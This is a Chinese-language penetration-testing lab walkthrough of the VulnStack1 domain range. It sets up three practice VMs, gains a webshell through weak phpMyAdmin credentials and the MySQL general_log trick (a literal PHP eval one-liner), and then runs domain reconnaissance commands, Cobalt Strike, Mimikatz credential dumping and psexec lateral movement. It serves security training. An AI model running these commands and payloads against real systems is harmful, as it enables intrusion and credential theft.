Internal Pentest VulnStack1 内网渗透练习
靶场搭建
搭建环境:
- 系统:MacosX
- 虚拟机:VMware Fusion
- 靶场信息:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
找了一圈教程都是在Windows上搭建的,不过只要了解原理,其实放到mac甚至是其他环境下也是一样的。
红日的靶场非常友好了,我们只需要将靶机从百度云下载下来解压缩,看到很多的文件不要慌,直接用vmware fusion打开vmx文件就可以开启靶机。
接下来我们就分别导入三个虚拟机,并且进行少量的配置
-
Windows 7 x64
- 将默认的网卡选择为Host Only,在vmware fusion里叫做"Private to my Mac",即独立于mac主机本身的一个虚拟网络中;
- 增加一张网卡,选择为桥接,这里叫Autodetect,就是和mac在同一个内网网段中,相当于一台虚拟主机连入(存在风险,慎用,可以考虑选择另一个Host-Only的虚拟网段);
- 开启虚拟机,输入密码(所有虚拟机统一为hongrisec@2019,之后不再重复);
- 搜索phpstudy,开启服务(如果需要用局域网访问需要在防火墙进行修改,慎用)
- 配置至此完成。
-
Windows Server 2003
- 开启即可,无需做任何调整,默认静态IP为192.168.52.141。
-
Windows Server 2008
- 开启之后修改密码即可,需要复杂密码,记得要记录下来不要遗忘,默认静态IP为192.168.52.138,无需其他修改。
至此配置就结束了,别害怕,前辈们为了让工具好用做了很多努力,我们只需要站在巨人的肩膀上继续学习就可以了。
前瞻知识
如果是第一次接触这种和Windows域有关的渗透练习的话,建议还是先了解一下域的相关知识,这不仅会帮助理解复现的过程,同样重要的是这也会帮助大家解决在复现过程中出现的各种问题(靶场的设计也并不是面面俱到的,不同的环境下运行也会碰到很多未知的问题)
Windows中的工作组(Work Group)、域(Domain)、域控(DC)、活动目录(AD)介绍
外网渗透
信息收集
老规矩先用nmap进行扫描
nmap -sS 192.168.0.104/24
发现80端口监听http服务,直接打开网页看一下:http://192.168.0.100 :
从php探针中我们可以获取大量主机的信息,这里还用弱口令测试了数据库的连接,我们先放着,可能后续有用。
接下来用dirmap来扫一下目录:
python3 dirmap.py -i "http://192.168.0.100" -lcf
根据扫描的结果,我们访问/phpmyadmin界面,来对mysql数据库进行一些操作:
这里我们先尝试一些弱口令,实在不行再用BrupSuite爆破,例如:root, admin, 123456,发现这里直接用root:root就进去了。
getshell
那么下一步就是要想办法getshell,看到mysql自然想到可以利用 SELECT INTO DUMPFILE/OUTFILE
来写入一句话木马来获取shell。
但我们知道要使用这个语法需要满足三个条件:
secure_file_priv
变量为空,或者为我们所知道的路径中,表示支持数据的导入导出;- 目标目录的权限可写,mysql用户也有写入的权限;
- 需要目标目录的绝对路径。
那么我们先查看 secure-file-priv
的值,发现为NULL,此路不通:
我们知道还有一种写入的方法就是日志法
SHOW VARIABLES LIKE '%general%'; #查看日志文件相关配置
接下来我们开启general log,并且通过之前php探针所得到的绝对路径设置log文件的地址,最后写入一句话木马:
SET GLOBAL general_log = ON; # 开启general log模式
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/1.php'; #设置日志目录为我们想要执行的shell地址
SELECT '<?php eval($_POST[cmd]);?>'; #直接写入shell就会被记录到日志文件中去
蚁剑连接成功
其实到这里就已经可以通过蚁剑来getshell了,但我们也可以进去再看看。
进入之后发现有cms,
尝试访问后根据公告信息进入后台,
通过修改或者增加模版文件也可以用来getshell
内网渗透
信息收集
建议一些基础的信息可以直接在get的shell中执行来获取,因为CS的beacon一个是不稳定而且返回速度也慢:
ipconfig /all 查看本机ip,所在域
route print 打印路由信息
net view 查看局域网内其他主机名
arp -a 查看arp缓存
net start 查看开启了哪些服务
net share 查看开启了哪些共享
net share ipc$ 开启ipc共享
net share c$ 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" 建立c盘共享
dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user目录下的文件
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user 查看本机用户列表
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net user 用户名 /domain 获取指定域用户的信息
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group "domain admins" /domain 查看域管理员的名字
net group "domain computers" /domain 查看域中的其他主机名
net group "doamin controllers" /domain 查看域控制器(可能有多台)
netstat -ano | find "3389" 查看3389端口是否开启,若开启可以尝试远程桌面登录(Windows)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 用于开启远程桌面登录
横向移动
启动CS服务端:
sudo ./teamserver 192.168.0.106 password
打开客户端CS连接:
java -XX:+UseParallelGC -XX:+AggressiveHeap -XX:ParallelGCThreads=4 -jar cobaltstrike.jar
sleep 0 # 将心跳修改为0,方便快速获取信息(真实情况下不建议使用),默认为60s交互一次
shell systeminfo # 查看域信息,两张网卡的信息包括IP地址,
net view # 扫描域中的其他计算机
我们尝试利用Mimikatz来获取当前主机上存储的密码:
最后我们使用psexec打下其他两台主机:
最终我们可以通过拓扑图看到整一个横向移动的过程,我们先从kali对Win7进行getshell,然后再利用CS来获取Win7中的账号密码,以及域信息,最终使用psexec来横向移动到了其他两台计算机上
总结
复现是复现完了,但是其中有很多的内容都需要再具体展开来学习和研究,不过通过整一个流程还是学到了很多的知识和内容,还有就是CS太强了:
- 深入学习Cobalt Strike,了解使用的各种工具的用途
- 深入了解域以及域控制器,可以自行搭建一个域环境进行学习管理
- 本文有机会也需要继续改进,感觉还是有很多一笔带过甚至自己都不懂的地方
Reference
Windows中的工作组(Work Group)、域(Domain)、域控(DC)、活动目录(AD)介绍